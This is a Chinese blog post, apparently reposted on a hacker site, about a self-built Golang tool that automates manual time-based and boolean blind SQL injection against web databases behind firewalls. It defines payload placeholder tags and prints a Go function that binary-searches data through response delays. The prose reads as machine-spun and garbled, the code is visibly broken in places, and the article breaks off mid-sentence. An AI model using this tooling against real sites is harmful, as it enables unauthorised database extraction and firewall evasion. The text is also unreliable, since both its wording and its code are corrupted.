使用Golang打造一款自己的手工盲注辅助工具

使用Golang打造一款自己的手工盲注辅助工具

黑客软件hacker2019-06-08 19:35:299474A+A-

"序言

使用Golang打造一款自己的手工盲注辅助工具 第1张

想干那么1个实用工具的念头来自好长时间以前用awvs扫描仪到个网站,存有廷时盲注,带服务器防火墙,自然环境是PHP+SQL SERVER,手工制作能绕过去,可是用sqlmap全自动跑的那时候,没法跑出一切的結果,最终手工制作检测出全部句子,写了1个py脚本制作告一段落。有兴趣爱好得话能够看看那时候的稿子纪录。

前不久又碰到了1个更奇怪的引入,数据库查询是PostgreSQL,存有服务器防火墙,能绕开,但绕开的方法不固定不动,例如某条句子中一些的地区出現空格符会被阻拦,一些地区沒有空格符也会被阻拦。此刻自动化技术专用工具就没办法起功效,恰好近期在学习培训golang,就惦记着用golang来打造出那么这款实用工具,先來个设计效果图。

0X01:设计理念

编程语言选用的GO,页面是用的GitHub上的1个开源系统包(还不健全,只有微信小程序可以了)。设计理念是应用二分法求ascii的方法来猜解空格符。这儿Http包的恰当分辨是选用长短和時间来开展分辨,分別相匹配布尔型盲注和应用场景時间的盲注。2个文本框,上边的是改动过的Http初始包,下边哪个是回到的結果。

程序流程总共内嵌了5个标示:<$qcount!> <$qlength!> <$length!> <$count!> <$qascii!> 

<$qcount!>:查寻总数,用以查询表,字段名,內容的纪录数

<$qlength!>:相匹配每一总数的长短,一起必须相互配合应用<$count!>

<$qascii!> :相匹配每一空格符的ascii码值,一起必须相互配合应用<$length!> 

重要编码给出:

func sqlInjectCountByTime(rawString string, rightTime float64, p *ui.ProgressBar) int {

p.SetValue(0)

a := 14.0 c := 0.4 f1 := 0 f2 := 12000 client := &.com.Client{}

var count int For { if f1 >= f2 {

count = 6789 break }

c = c + 1 showProgress(p, c, a)

start := time.Now()

ABP := (f1 + f2) / 2 midStr := strconv.Itoa(ABP)

modifyString := strings.Replace(rawString, ""<$qcount!>"", midStr, 1)

modifyRe := modifyRequest(modifyString)

response, err := client.Do(modifyRe)

elapsed := time.Now().Sub(start).Seconds() + 0.5 defer response.Body.Close()

checkError(err) if elapsed >= rightTime {

start2 := time.Now()

mid2Str := strconv.Itoa(ABP + 1)

modify2String := strings.Replace(rawString, ""<$qcount!>"", mid2Str, 1)

modify2Re := modifyRequest(modify2String)

response2, err := client.Do(modify2Re)

elapsed2 := time.Now().Sub(start2).Seconds() + 0.5 checkError(err)

defer response2.Body.Close() if elapsed2 < rightTime {

count = ABP + 1 break } else {

f1 = ABP + 1 }

} else {

f2 = ABP

}

}

p.SetValue(150) return count

这儿是依据時间来查看记录数的f2是较大的总数,这儿默认设置的12000。elapsed是上传包到接受包的时差,根据该值来分辨查寻否恰当。当地检测的那时候,手机软件是运作在win7,web自然环境构建在kali,我不知道是否因为系统时间涵数的差别,当你sleep(3),有时查寻恰当但接受到的时差会低于3,为2.99907。无限接近于3,因此最终加了0.5秒来均衡偏差,真實自然环境应当不容易有这一难题。

这儿举的是应用场景時间的分辨,应用场景布尔的相近,将回到包的长短与客户设定的长短


点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 4条评论
  • 囤梦双笙2022-05-31 08:53:39
  • 段落。有兴趣爱好得话能够看看那时候的稿子纪录。前不久又碰到了1个更奇怪的引入,数据库查询是PostgreSQL,存有服务器防火墙,能绕开,但绕开的方法不固定不动,例如某条句子中一些的地区出現空格符会被阻拦,一些地区沒有空格符也会被阻拦。此刻自动化技术专用工具就没办法起功效,恰好近
  • 辙弃旧竹2022-05-31 15:37:05
  • 哪个是回到的結果。程序流程总共内嵌了5个标示:<$qcount!> <$qlength!> <$length!> <$count!> <$
  • 夙世春慵2022-05-31 07:50:06
  • 纪录。前不久又碰到了1个更奇怪的引入,数据库查询是PostgreSQL,存有服务器防火墙,能绕开,但绕开的方法不固定不动,例如某条句子中一些的地区出現空格符会被
  • 鸽吻孤央2022-05-31 11:19:23
  • Time {start2 := time.Now()mid2Str := strconv.Itoa(ABP + 1)modify2String := strings.Replace(rawString, ""<$qcoun

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理